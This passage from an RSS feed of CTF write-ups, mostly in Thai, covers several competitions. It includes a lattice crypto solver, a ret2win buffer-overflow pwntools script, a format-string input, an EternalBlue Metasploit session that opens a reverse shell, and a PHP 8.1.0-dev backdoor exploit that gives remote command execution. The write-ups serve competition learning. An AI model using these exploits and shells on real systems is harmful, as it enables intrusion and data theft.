4308248535474701166932931,<br>64097163643660178065067139576763334088517224523390803621183172429724677431846,<br>114285133027270613079875181422794118922554967703167331779563904995170090033805,<br>89061601538980392180929072852258031870518511326072129517735508403732034503071,<br>109497245880107084551239056716563802855562585933614126324442322075603482993725,<br>63686954458072496910992201940932436481031938259424088432500824699653622316043,<br>100021623353561096459011931417514895295293439030681436367848867818327915003133,<br>114883990787912260454580419517456004259956645261473795279802857393219605918831,<br>71653771037370527186419961635116034068896374440180051189487380964719883267110,<br>91607645087989905993449554235941372492014761353844722410704930252180010806519,<br>28395936728383531129150159461256196090515745737460852339412603246679200310093,<br>78744580212206133101659179363885190682622412373183208856460085304775473217763,<br>775850249176581667952089839616870699525342651195058641544334315836518313201,<br>106589428030803202052170642987471602626322042957726190127628910207624491687876,<br>82971573736802740565553026442301125456963760676329174924439049281151933283911<br>]<br><br>c = 191525132692896166687925155732812051740711134546718181351363049498750742851036131<br>n = len(a)<br><br># chosen working M<br>M = 2**24<br><br># build lattice<br>B = IntegerMatrix(n + 1, n + 1)<br><br>for i in range(n):<br>    B[i, i] = M<br>    B[i, n] = a[i]<br><br>B[n, n] = c<br><br># reduce<br>BKZ.reduction(B, BKZ.Param(block_size=30))<br><br># search solution<br>for i in range(n + 1):<br>    row = [int(B[i, j]) for j in range(n + 1)]<br><br>    if abs(row[-1]) &gt; M:<br>        continue<br><br>    b = []<br>    valid = True<br>    for x in row[:-1]:<br>        if x % M != 0:<br>            valid = False<br>            break<br>        v = abs(x // M)<br>        if not (0 &lt;= v &lt;= 255):<br>            valid = False<br>            break<br>        b.append(v)<br><br>    if valid:<br>        plaintext = bytes(b).decode()<br>        print(&quot;PLAINTEXT =&quot;, plaintext)<br>        print(&quot;FLAG =&quot;, f&quot;ARCHA{{{plaintext}}}&quot;)<br>        break</pre><p><strong>We got the flag:</strong></p><p>ARCHA{Welcome_To_Introduction_LLL}</p><h3>Writeup from my teammates</h3><p><a href="https://medium.com/@pgthegod_x/writesup-archa-ctf-parkggez-5838f55e013e?postPublishedType=initial">https://medium.com/@pgthegod_x/writesup-archa-ctf-parkggez-5838f55e013e</a></p><p><a href="https://medium.com/@thammasorn.chen/write-ups-archactf-2026-dbe087a12d11">https://medium.com/@thammasorn.chen/write-ups-archactf-2026-dbe087a12d11</a></p><p><a href="https://github.com/Mc4minta">Mc4minta - Overview</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a27eb579f0d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writeups SECplayground Hackloween2025 CTF Event | Mc4minta]]></title>
            <link>https://medium.com/@mc4minta/writeups-secplayground-hackloween2025-ctf-event-mc4minta-2bf768c3ef66?source=rss-562565b0d666------2</link>
            <guid isPermaLink="false">https://medium.com/p/2bf768c3ef66</guid>
            <dc:creator><![CDATA[Mc4minta]]></dc:creator>
            <pubDate>Wed, 05 Nov 2025 02:43:17 GMT</pubDate>
            <atom:updated>2025-11-05T02:43:17.832Z</atom:updated>
            <content:encoded><![CDATA[<h4>Team FreeWifi เพื่อนร่วมทีมโหดกันมาก แบกเราหลังหักเลย</h4><p>งานนี้เราเล่นจอยๆ เนื่องจากติดธุระ คงเขียนได้แค่ข้อเดียว เสียดายสุดๆ ไม่ได้เซฟโจทย์ไว้เลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1j9p8mXfchAXIPq4oHBPsg.png" /></figure><h3>Thunder [Mobile]</h3><ul><li>โจทย์ให้ไฟล์ apk มาเราก็เปิดดูด้วย jadx gui เหมือนเดิมเลย</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*XAvi8O_W-CTX4yaj6OaX4A.png" /></figure><p>จะเห็นว่าใน MainActivity มีการพูดถึง debug_flag_app บางอย่าง แต่ไม่มีโค้ดบอกเลยว่า MainActivity ทำอะไร แล้วก็ยังมีการ parse ค่าบางอย่างด้วย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/359/1*-WYYI6GBgolbAhxXY8IFAA.png" /></figure><p>เราเดาว่าข้อนี้เราต้องเอา apk ในโหมด debugging มาและเปิดดู flag ของจริง</p><p>ข้อนี้จะใช้เป็น adb shell ในการท่อง directoryเหมือนเดิมเลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*xM6lj-2r89IpCtx4y9aakA.png" /></figure><p>เราเริ่มจากเช็ต Devices ก่อนเลย โดยเราจะใช้เป็น virtual devices ของ android studio</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*VRtIzfcKMEwpoP3kIldWxA.png" /></figure><p>เรามาลอง install ตัวไฟล์ apk กันก่อนโดยจะใช้คำสั่ง</p><pre>./adb.exe install thunder.apk</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Rcg-HBAKLyIdrL1fgqwsg.png" /></figure><p>หลังจากนั้นเปิด app และใช้คำสั่งและกดตรงปุ่มสายฟ้าบนจอ จะเจอ flag ใน log</p><pre>./adb.exe logcat</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SbcpoSHWJVgK5kwOFKUxew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*E1k8e1YJ-yYZYZJV62Py1g.png" /></figure><p>We got the flag: Mobile{D3bug_M0d3_I5_D@nG3R0u5}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2bf768c3ef66" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writeups SWU CTF 2025 รอบคัดเลือก | Mc4minta]]></title>
            <link>https://medium.com/@mc4minta/writeups-swu-ctf-2025-%E0%B8%A3%E0%B8%AD%E0%B8%9A%E0%B8%84%E0%B8%B1%E0%B8%94%E0%B9%80%E0%B8%A5%E0%B8%B7%E0%B8%AD%E0%B8%81-mc4minta-bb593867fd3d?source=rss-562565b0d666------2</link>
            <guid isPermaLink="false">https://medium.com/p/bb593867fd3d</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[swuctf2025]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Mc4minta]]></dc:creator>
            <pubDate>Wed, 02 Jul 2025 03:23:43 GMT</pubDate>
            <atom:updated>2025-07-03T03:35:16.018Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Dg_jU2XrUtSFiwFV6PC4kg.png" /></figure><p>ctf แรกในนามมหาวิทยาลัยของเราเอง คริคริ</p><p><strong>Date</strong>: 1 July 2025 , <strong>Rank</strong>: 5th / 60, <strong>Team</strong>: Bra1nL3ssPr4ct1t10n3r</p><p><strong>Notice</strong>: โจทย์ข้อ Reverse Engineering ทั้งหมดทางผู้ออกโจทย์ได้ตั้งใจ Hard code flag ไว้ ก็คือ strings ออกทุกข้อนั่นแหล่ะ แต่เราจะเขียน writeup เป็นวิธีที่ไม่ใช่ strings หากทำได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*_WHl8fyar6e9WOmmw0HSow.png" /><figcaption>(ข้อ WEB4/MISC2 ทำหลังจบงานแข่ง)</figcaption></figure><h3>Problem List:</h3><ul><li>Lost But Not Forgotten [REV1]</li><li>You’re not a monkey… right? [REV2]</li><li>Press Start [REV3]</li><li>Missile Protocol [REV4]</li><li>Lucky Numbers? [PWN1]</li><li>Legendary Football Club Selector [PWN2]</li><li>The Jumper [PWN3]</li><li>EternalTears [PWN4]</li><li>Find me! [WEB1]</li><li>Break In and Find the Secrets [WEB2]</li><li>Hidden Pathways [WEB4]</li><li>Planet of the Apes [CRYPT1]</li><li>Pixelated hash [CRYPT2]</li><li>Game of Colors [MISC1]</li><li>u-i-i-io-i-ii-a-io [MISC2]</li><li>Trust Your Eyes [MISC3]</li><li>Wireshark 101 [NETWORK1]</li><li>Wireshark 201 [NETWORK2]</li><li>อดทนจนกว่าจะได้ flag [NETWORK3]</li><li>Make Your Own Luck [ZPECIAL1]</li><li>Who will win the Premier League? [ZPECIAL2]</li><li>Manifest0 [MOBILE1]</li><li>Unintended Secrets [MOBILE2]</li><li>InsecureStorage [MOBILE3]</li><li>Log It In! [MOBILE4]</li></ul><h3>Lost But Not Forgotten [REV1]</h3><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup]<br>└─$ file challenge.exe <br>challenge.exe: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=09ae515fb9bd15c5a9ee994cd567ffcd3a84afc6, for GNU/Linux 3.2.0, not stripped<br>                                                                                                                                                                                                                  <br>┌──(mc4minta㉿vbox)-[~/swu/writeup]<br>└─$ chmod +x challenge.exe                 <br>                                                                                                                                                                                                                  <br>┌──(mc4minta㉿vbox)-[~/swu/writeup]<br>└─$ ./challenge.exe          <br>This is a simple reverse engineering.</pre><p>โจทย์ให้ไฟล์ executable มาหนึ่งอันพอลองรันดูจะพบกับคำใบ้ว่า “This is a simple reverse engineering.”</p><p>จะเป็นอะไรไปได้นอกจากคำสั่ง strings เจ้าเก่าเจ้าเดิม</p><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup]<br>└─$ strings challenge.exe | grep swu<br>swu{fl4g_1s_H3r3}</pre><p>we got the flag: swu{fl4g_1s_H3r3}</p><h3>You’re not a monkey… right? [REV2]</h3><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup/02_Monkey]<br>└─$ file Monkey.exe       <br>Monkey.exe: PE32+ executable for MS Windows 5.02 (console), x86-64, 18 sections</pre><p>ข้อนี้โจทย์ให้ไฟล์ executable for windows มา ลองรันด้วยโปรแกรม wine พบว่าเป็นโปรแกรมเดาเลขอะไรก็ไม่รู้</p><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup/02_Monkey]<br>└─$ wine Monkey.exe<br>Welcome to the Random Choice Simulation:<br>Feeling lucky, punk? (1-10): 5<br>Guess and stress (1-10): 5<br>Click and pray (1-10): 5<br>Choose like you always do randomly (1-10): 5<br>Gambling your way through, huh? (1-10): 5<br>Throw a number at the wall (1-10): 5<br>No skill? No problem. Pick one (1-10): 5<br>The &#39;I-have-no-idea&#39; option chooser (1-10): 5<br>Eeny, meeny, miny... you lose. (1-10): 5<br>Pick fast, regret faster (1-10): 5<br>Not today, kiddy.<br>Press any key to continue...</pre><p>Decompile ดู main function ก็จะเจอว่าต้องใส่เลขให้ตรงกับเงื่อนไขโปรแกรมแล้ว flag จะออก โดยเงื่อนไขก็คือ v4[i] ต้องเท่ากับ v10[i] โดย v4 จะถูกรับค่าทีละตัว ก็คือใส่ v10 เข้าไปนั่นแหล่ะ v10 เป็น array ก็เอาแต่ละ index ในโปรแกรมมาต่อกันจะได้เลขที่ต้องใส่เป็นลำดับ = 3427327538</p><pre>v10[0] = 3;<br>v10[1] = 4;<br>v10[2] = 2;<br>v10[3] = 7;<br>v10[4] = 3;<br>v10[5] = 2;<br>v10[6] = 7;<br>v10[7] = 5;<br>v10[8] = 3;<br>v10[9] = 8;<br>puts(&quot;Welcome to the Random Choice Simulation:&quot;);<br>printf(&quot;Feeling lucky, punk? (1-10): &quot;);<br>scanf(&quot;%d&quot;, v4);<br>printf(&quot;Guess and stress (1-10): &quot;);<br>scanf(&quot;%d&quot;, &amp;v5);<br>printf(&quot;Click and pray (1-10): &quot;);<br>scanf(&quot;%d&quot;, &amp;v6);<br>printf(&quot;Choose like you always do randomly (1-10): &quot;);<br>scanf(&quot;%d&quot;, (char *)&amp;v6 + 4);<br>printf(&quot;Gambling your way through, huh? (1-10): &quot;);<br>scanf(&quot;%d&quot;, &amp;v7);<br>printf(&quot;Throw a number at the wall (1-10): &quot;);<br>scanf(&quot;%d&quot;, (char *)&amp;v7 + 4);<br>printf(&quot;No skill? No problem. Pick one (1-10): &quot;);<br>scanf(&quot;%d&quot;, &amp;v8);<br>printf(&quot;The &#39;I-have-no-idea&#39; option chooser (1-10): &quot;);<br>scanf(&quot;%d&quot;, (char *)&amp;v8 + 4);<br>printf(&quot;Eeny, meeny, miny... you lose. (1-10): &quot;);<br>scanf(&quot;%d&quot;, &amp;v9);<br>printf(&quot;Pick fast, regret faster (1-10): &quot;);<br>scanf(&quot;%d&quot;, (char *)&amp;v9 + 4);<br>for ( i = 0; i &lt;= 9; ++i )<br>{<br>  if ( v4[i] != v10[i] )<br>  {<br>    puts(&quot;Not today, kiddy.&quot;);<br>    system(&quot;pause&quot;);<br>    return 0;<br>  }<br>}</pre><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup/02_Monkey]<br>└─$ wine Monkey.exe<br>Welcome to the Random Choice Simulation:<br>Feeling lucky, punk? (1-10): 3<br>Guess and stress (1-10): 4<br>Click and pray (1-10): 2<br>Choose like you always do randomly (1-10): 7<br>Gambling your way through, huh? (1-10): 3<br>Throw a number at the wall (1-10): 2<br>No skill? No problem. Pick one (1-10): 7<br>The &#39;I-have-no-idea&#39; option chooser (1-10): 5<br>Eeny, meeny, miny... you lose. (1-10): 3<br>Pick fast, regret faster (1-10): 8<br><br>Well well... you&#39;re actually *not* a monkey. Impressive.<br>Here is your bana... hm, Flag<br><br>Flag: swu{ac7a1e879533c456ec94573f409b6d51}</pre><p>we got the flag: swu{ac7a1e879533c456ec94573f409b6d51}</p><h3>Press Start [REV3]</h3><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup/03_Press_Start]<br>└─$ wine Press_Start.exe<br>Welcome to the mysterious CLI... Try typing something...<br>&gt; lkasjdflskajf<br>Nothing happened.<br>Press any key to continue... </pre><p>โปรแกรมนี้ให้ใส่อะไรสักอย่างลอง decompile เหมือนเดิมจะเจอว่าโปรแกรมเอา input ไปเทียบกับ string อันนึงด้วย strcmp ก็คือ wwssadadba</p><pre>  <br>strcpy(Str2, &quot;wwssadadba&quot;);<br>.<br>.<br>.<br>if ( !strcmp(Buffer, Str2) )<br>  {<br>    puts(&quot;\nSkill issue... not yours this time.&quot;);<br>    puts(&quot;Up Up Down Down... Boom! Contra-style!\n&quot;);<br>    printf(&quot;Flag unlocked: %s\n\n&quot;, v5);<br>    puts(&quot;Write a short write-up for this challenge and send it to my LinkedIn: https://www.linkedin.com/in/chayawat-j/\n&quot;);<br>    puts(&quot;Only the first 3 hackers get 100 THB. Race you to the inbox!\n&quot;);<br>    puts(&quot;-- Chayawat Jeamprasertboon&quot;);<br>  }</pre><p>ลองใส่ wwssadadba ลงไปหลังรันก็จะได้ base64 มาพอนำไป decode ก็จะได้ flag</p><pre><br>Skill issue... not yours this time.<br>Up Up Down Down... Boom! Contra-style!<br><br>Flag unlocked: c3d1ezJhNGQxZmVhNTk1NTdiYjdjYzUyYjI4NGU2MzMwN2MwfQ==<br><br>Write a short write-up for this challenge and send it to my LinkedIn: https://www.linkedin.com/in/chayawat-j/<br><br>Only the first 3 hackers get 100 THB. Race you to the inbox!<br><br>-- Chayawat Jeamprasertboon<br>Press any key to continue...                                                                                                                                                                                                                    <br>┌──(mc4minta㉿vbox)-[~/swu/writeup/03_Press_Start]<br>└─$ echo &quot;c3d1ezJhNGQxZmVhNTk1NTdiYjdjYzUyYjI4NGU2MzMwN2MwfQ==&quot; | base64 -d<br>swu{2a4d1fea59557bb7cc52b284e63307c0}</pre><p>we got the flag: swu{2a4d1fea59557bb7cc52b284e63307c0}</p><h3>Missile Protocol [REV4]</h3><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup/04_Missile_Protocol]<br>└─$ wine Missile_Protocol.exe<br>Enter the secret code: lkajsdfslkj<br>Error: Incorrect input.<br>Press any key to continue...</pre><p>ข้อนี้ก็คล้ายเดิมเลยคือใส่อะไรสักอย่างลงไปแล้วได้ flag เอาไป decompile เหมือนเดิมจะเจอว่ามีการ strcmp input กับ string คือ “tlekrean”</p><pre>int __fastcall main(int argc, const char **argv, const char **envp)<br>{<br>  FILE *v3; // rax<br>  char Buffer[108]; // [rsp+20h] [rbp-70h] BYREF<br>  int i; // [rsp+8Ch] [rbp-4h]<br><br>  _main();<br>  printf(&quot;Enter the secret code: &quot;);<br>  v3 = __acrt_iob_func(0);<br>  fgets(Buffer, 100, v3);<br>  Buffer[strcspn(Buffer, &quot;\n&quot;)] = 0;<br>  for ( i = 0; Buffer[i]; ++i )<br>    Buffer[i] = tolower((unsigned __int8)Buffer[i]);<br>  if ( !strcmp(Buffer, &quot;tlekrean&quot;) )<br>    print_flag();<br>  else<br>    puts(&quot;Error: Incorrect input.&quot;);<br>  system(&quot;pause&quot;);<br>  return 0;<br>}</pre><p>พอเอา tlekrean ไปใส่เป็น secret code ก็จะได้ flag</p><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup/04_Missile_Protocol]<br>└─$ wine Missile_Protocol.exe<br>Enter the secret code: tlekrean<br>Hey! You know who our Assistant Manager is, take it!<br><br>Flag: swu{229df1019ecdd2b056b3bb67ca54b032}</pre><p>we got the flag: swu{229df1019ecdd2b056b3bb67ca54b032}</p><h3>Lucky Numbers? [PWN1]</h3><p>ข้อนี้พอ nc เข้าไปจะเจอโปรแกรมที่ให้เดาเลข 0–10000 เราก็ใช้ pwntools เขียนโปรแกรมส่งเลขตั้งแต่ 0–10000 แล้วถ้าใน response ไม่มีคำว่า Oops! ที่แสดงว่ามันไม่ถูกก็ค่อยปริ้นคำตอบออกมา</p><pre>from pwn import *<br><br>conn = remote(&quot;ctfswu-2025.com&quot;, 65510)<br><br>conn.recvuntil(b&quot;Enter your guess:&quot;)<br><br>for i in range(0, 10001):<br>    conn.sendline(str(i).encode())<br>    response = conn.recvline().decode()<br>    if &quot;Oops!&quot; not in response:<br>     print(i)<br>     break</pre><p>จะเจอว่าเลขที่ถูกต้องคือ <a href="https://en.wikipedia.org/wiki/Leet">1337</a> ซึ่งก็เป็นเลขที่น่าจะคุ้นตากันอยู่แหล่ะ ^^</p><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup]<br>└─$ nc ctfswu-2025.com 65510<br>Welcome to the Number Guessing Game!<br>Try to guess my lucky number between 0 - 10000:<br>Enter your guess: 1337<br>Congratulations! You guessed correctly.</pre><h3>Legendary Football Club Selector [PWN2]</h3><p>ลองดู code .c ที่โจทย์ให้มาจะเจอ function ที่ปริ้น flag ถ้าเกิด sigsegv</p><pre>void sigsegv_handler(int sig) {<br>    printf(&quot;\n%s\n&quot;, flag);<br>    fflush(stdout);<br>    exit(1);<br>}</pre><p>โดยข้อนี้รับค่าโดยคำสั่ง scanf และ print ค่าที่เราใส่ลงไปด้วย printf(choice1) โดยตรงโดยที่ไม่ได้มีการ format ทำให้ข้อนี้จะเกิดช่องโหว่ format string</p><pre>char choice1[BUFSIZE];<br>scanf(&quot;%s&quot;, choice1);</pre><p>จะสังเกตว่าพอใส่ input ที่มีพวกตัว %s ไป flag ก็จะออกมาเพราะเกิน sigsegv แต่จะใส่พวก input ทั่วไปไม่ได้เพราะโจทย์กำหนดให้ input ต้องเป็นชื่อทีมฟุตบอลที่อยู่ในลิสต์นั่นเอง</p><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup]<br>└─$ nc ctfswu-2025.com 65511<br>Welcome to the Football Fan Club Selector! Can you help the fans find the best football team to support?<br>The first fan wants to support a top-tier team!<br>Please choose from the following teams: R3a1_M@dr1d, FC_Barc%70dna, M@nch3st3r_Un1t3d<br>Enter your recommendation: FC_Barc%70dna<br>FC_Barc                                                            1221517762na<br>Great job! The first fan is happy! Now, can you recommend a team to the next fan?<br>This fan wants an underdog team with great potential (Make a recommendation before they change their mind!)<br>Please choose from the following teams: L1v3r%sp00l, M@nch3%st3r_C1ty, B0ru%s%s10_D0rtmund<br>Enter your recommendation: B0ru%s%s10_D0rtmund<br><br>WXpOa01XVjZaekJaTWtVMVdrZFpNbGxVWjNoT01ra3hXa1JDYWxwdFRtdGFiVlpvVDFSQ2FVNXRWWGROTWtwc1psRnZQUW89Cg==</pre><p>จากนั้นนำมา base64 decode สามรอบก็จะได้ flag</p><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup]<br>└─$ echo &quot;WXpOa01XVjZaekJaTWtVMVdrZFpNbGxVWjNoT01ra3hXa1JDYWxwdFRtdGFiVlpvVDFSQ2FVNXRWWGROTWtwc1psRnZQUW89Cg==&quot; | base64 -d | base64 -d | base64 -d<br>swu{84ca9df6a817b5d0cfcdfea90b6e03be}</pre><p>we got the flag: swu{84ca9df6a817b5d0cfcdfea90b6e03be}</p><h3>The Jumper [PWN3]</h3><p>ข้อนี้เป็น โจทย์ ret2win พอลอง decompile จะเจอ function win และ vuln ที่รับค่าด้วย gets() ซึ่งจะเกิดช่องโหว่ Buffer overflow และ secret num = 1212312121</p><pre>int vuln()<br>{<br>  int v1; // [esp+8h] [ebp-30h] BYREF<br>  char s[32]; // [esp+Ch] [ebp-2Ch] BYREF<br>  void **v3; // [esp+2Ch] [ebp-Ch]<br>  void *retaddr; // [esp+3Ch] [ebp+4h] BYREF<br><br>  puts(&quot;Before we begin, guess the secret number:&quot;);<br>  scanf(&quot;%d&quot;, &amp;v1);<br>  if ( v1 == 1212312121 )<br>    puts(&quot;Lucky guess, but no shortcut to the flag...&quot;);<br>  else<br>    puts(&quot;Wrong! But you still get to play...&quot;);<br>  getchar();<br>  puts(&quot;Enter your input:&quot;);<br>  gets(s);<br>  v3 = &amp;retaddr;<br>  return printf(&quot;Okay, time to return... Fingers Crossed... Jumping to 0x%x\n&quot;, retaddr);<br>}</pre><p>เราใช้การ generate cyclic แล้วเอาไปใส่ใน program ตอนรัน debugger แล้วดู register eip จากนั้นนำสิ่งที่ overflow ไปใน eip ไปคำนวณหา offset จะได้ 48</p><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup]<br>└─$ pwn cyclic 100    <br>aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa</pre><pre>gef➤  run<br>Starting program: /home/mc4minta/swu/writeup/Jumper <br>[Thread debugging using libthread_db enabled]<br>Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.<br>Welcome to the Legacy Terminal...<br>Before we begin, guess the secret number:<br>1212312121<br>Lucky guess, but no shortcut to the flag...<br>Enter your input:<br>aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa</pre><pre>gef➤  info registers <br>eax            0x41                0x41<br>ecx            0x0                 0x0<br>edx            0x0                 0x0<br>ebx            0x6161616b          0x6161616b<br>esp            0xffffcec0          0xffffcec0<br>ebp            0x6161616c          0x6161616c<br>esi            0x804bf00           0x804bf00<br>edi            0xf7ffcb60          0xf7ffcb60<br>eip            0x6161616d          0x6161616d</pre><pre>from pwn import *<br><br>offset = cyclic_find(0x6161616d)<br>print(offset)<br><br># output = 48</pre><p>จากนั้น craft payload เป็น address ของ win function คือ 0x08049206 แล้วก็ส่งไปที่ server โดยใช้ pwntools เหมือนเดิม</p><pre># หา win function address<br>gef➤  disassemble win<br>Dump of assembler code for function win:<br>   0x08049206 &lt;+0&gt;:     push   ebp</pre><pre>from pwn import *<br><br>offset = 48<br><br>conn = remote(&quot;ctfswu-2025.com&quot;, 65512)<br><br>payload = b&quot;a&quot;*48<br>payload += p32(0x08049206)<br><br>conn.sendline(b&#39;1212312121&#39;)<br>conn.sendline(payload)<br>conn.interactive()</pre><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup]<br>└─$ python solve.py<br>[+] Opening connection to ctfswu-2025.com on port 65512: Done<br>[*] Switching to interactive mode<br>Welcome to the Legacy Terminal...<br>Before we begin, guess the secret number:<br>Lucky guess, but no shortcut to the flag...<br>Enter your input:<br>Okay, time to return... Fingers Crossed... Jumping to 0x8049206<br>swu{32173fd353f76b6f243173a57e821726}</pre><p>we got the flag: swu{32173fd353f76b6f243173a57e821726}</p><h3>EternalTears [PWN4]</h3><p>ข้อนี้เดาจากโจทย์ที่ชื่อว่า Eternal… และที่ให้ .ova ของ window 7 มาว่าน่าจะต้องการให้ exploit EthernalBlue</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*cBu6JqhkN2XMj2Oapd6wSw.png" /></figure><p>เริ่มแรกก็ import .ova โดยใช้ vmware เราลอง nmap port smb ดูก็พบว่าเปิดอยู่จริงๆ แสดงว่าน่าจะมาถูกทาง</p><pre>┌──(mc4minta㉿vbox)-[~]<br>└─$ nmap -p 445 192.168.159.162 <br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-02 02:04 +07<br>Nmap scan report for 192.168.159.162 (192.168.159.162)<br>Host is up (0.0013s latency).<br><br>PORT    STATE SERVICE<br>445/tcp open  microsoft-ds<br>MAC Address: 00:0C:29:8D:2C:97 (VMware)<br><br>Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds</pre><p>จากนั้นก็ยิง exploit ไปที่เครื่อง window 7 ด้วย Metasploit ก็จะได้ shell เครื่องมา</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; set rhosts 192.168.159.162<br>rhosts =&gt; 192.168.159.162<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; run<br>[*] Started reverse TCP handler on 192.168.159.161:4444</pre><pre>meterpreter &gt; shell<br>Process 1448 created.<br>Channel 1 created.<br>Microsoft Windows [Version 6.1.7601]<br>Copyright (c) 2009 Microsoft Corporation.  All rights reserved.<br><br>C:\Windows\system32&gt;</pre><p>จะเจอ flag อยู่ใน C:\Windows\secrets</p><pre>C:\Windows\secrets&gt;type flag.txt<br>type flag.txt<br>swu{32b310692633b82fdb72946a83624c99} </pre><p>we got the flag: swu{32b310692633b82fdb72946a83624c99}</p><h3>Find me! [WEB1]</h3><p>ข้อนี้แค่ view source ก็จะเจอ flag เลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*8luzc7BfLbLIhdiOsXILRA.png" /></figure><p>we got the flag: swu{We1c0m3_t0_W3b_Applicati0n_Cha113ng3s}</p><h3>Break In and Find the Secrets [WEB2]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*TLDGEEZmoYq1Kyrv9F5E5Q.png" /></figure><p>เริ่มแรกลอง view source ดูจะพบว่าเป็น php 8.1.0-dev</p><pre><br>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>    &lt;meta charset=&quot;UTF-8&quot;&gt;<br>    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<br>    &lt;title&gt;Pee+Head+Pee+8.1.0-dev&lt;/title&gt;</pre><p>พอลองนำไปเสิชดูจะพบกับช่องโหว่ Backdoor RCE แถมมี ใน exploit.db ซะด้วย</p><p><a href="https://www.exploit-db.com/exploits/49933">OffSec&#39;s Exploit Database Archive</a></p><p>ลองโหลดมาใช้แล้วก็ใส่ host / attacker ip จะได้ shell</p><pre>┌──(mc4minta㉿vbox)-[~/swu/writeup]<br>└─$ python exploit.py<br>Enter the full host url:<br>http://ctfswu-2025.com:54322/<br><br>Interactive shell is opened on http://ctfswu-2025.com:54322/ <br>Can&#39;t acces tty; job crontol turned off.<br>$ ls<br>backup<br>index.php<br>my_data<br>website.bak</pre><p>จะเห็นว่าไฟล์อื่นนอกจาก index.php ต้องใช้สิทธิ์ root ในการอ่าน</p><pre>$ ls -l<br>total 16<br>drwxr-xr-x 2 root root 4096 Jul  1 08:18 backup<br>-rw-rw-r-- 1 1000 1000 1747 Mar 13 21:02 index.php<br>drwxr-xr-x 2 root root 4096 Jul  1 08:18 my_data<br>drwxr-xr-x 2 root root 4096 Jul  1 08:18 website.bak</pre><p>แต่เมื่อเราลอง list file แบบ recursive จะพบไฟล์ flag ที่ไม่ได้ต้องใช้สิทธ์ root</p><pre>$ ls -lR<br>.:<br>total 16<br>drwxr-xr-x 2 root root 4096 Jul  1 08:18 backup<br>-rw-rw-r-- 1 1000 1000 1747 Mar 13 21:02 index.php<br>drwxr-xr-x 2 root root 4096 Jul  1 08:18 my_data<br>drwxr-xr-x 2 root root 4096 Jul  1 08:18 website.bak<br><br>./backup:<br>total 4<br>-rw-rw-r-- 1 1000 1000 22 Mar 13 20:47 flag.txt<br><br>./my_data:<br>total 4<br>-rw-rw-r-- 1 1000 1000 38 Mar 13 19:16 secret.txt<br><br>./website.bak:<br>total 4<br>-rw-rw-r-- 1 1000 1000 10 Mar 13 20:49 flag.txt</pre><p>ลอง cat ออกมาก็จะเจอ flag นั่นเอง</p><pre>$ cat ./website.bah/flag.txt<br><br><br>$ cat ./website.bak/flag.txt<br>Try Again<br><br><br>$ cat ./backup/flag.txt<br>The flag is not here.<br><br><br>$ cat ./my_data/secret.txt<br>swu{3407244cd1c7365c28e6afa3d5ba2ade}</pre><p>we got the flag: swu{3407244cd1c7365c28e6afa3d5ba2ade}</p><h3>Hidden Pathways [WEB4]</h3><p>เมื่อเข้ามาจะเจอหน้าให้ใส่ข้อมูล โดย captcha ก็มีใน source โดยไม่ต้องคำนวณ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*VUCL16PSgShQ-Xiym3hjqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*aHo8e2Q4-onv3sL9_vklMw.png" /></figure><p>พอเข้าไปได้แล้วก็ลองใช้ gobuster ดูจะเจอตัว <a href="http://ctfswu-2025.com:54324/announcements.php">/announcements.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*A-3qZZrhHCUwXn__eeGFGg.png" /></figure><p>ก็ลองไปที่มันบอกมาคือ 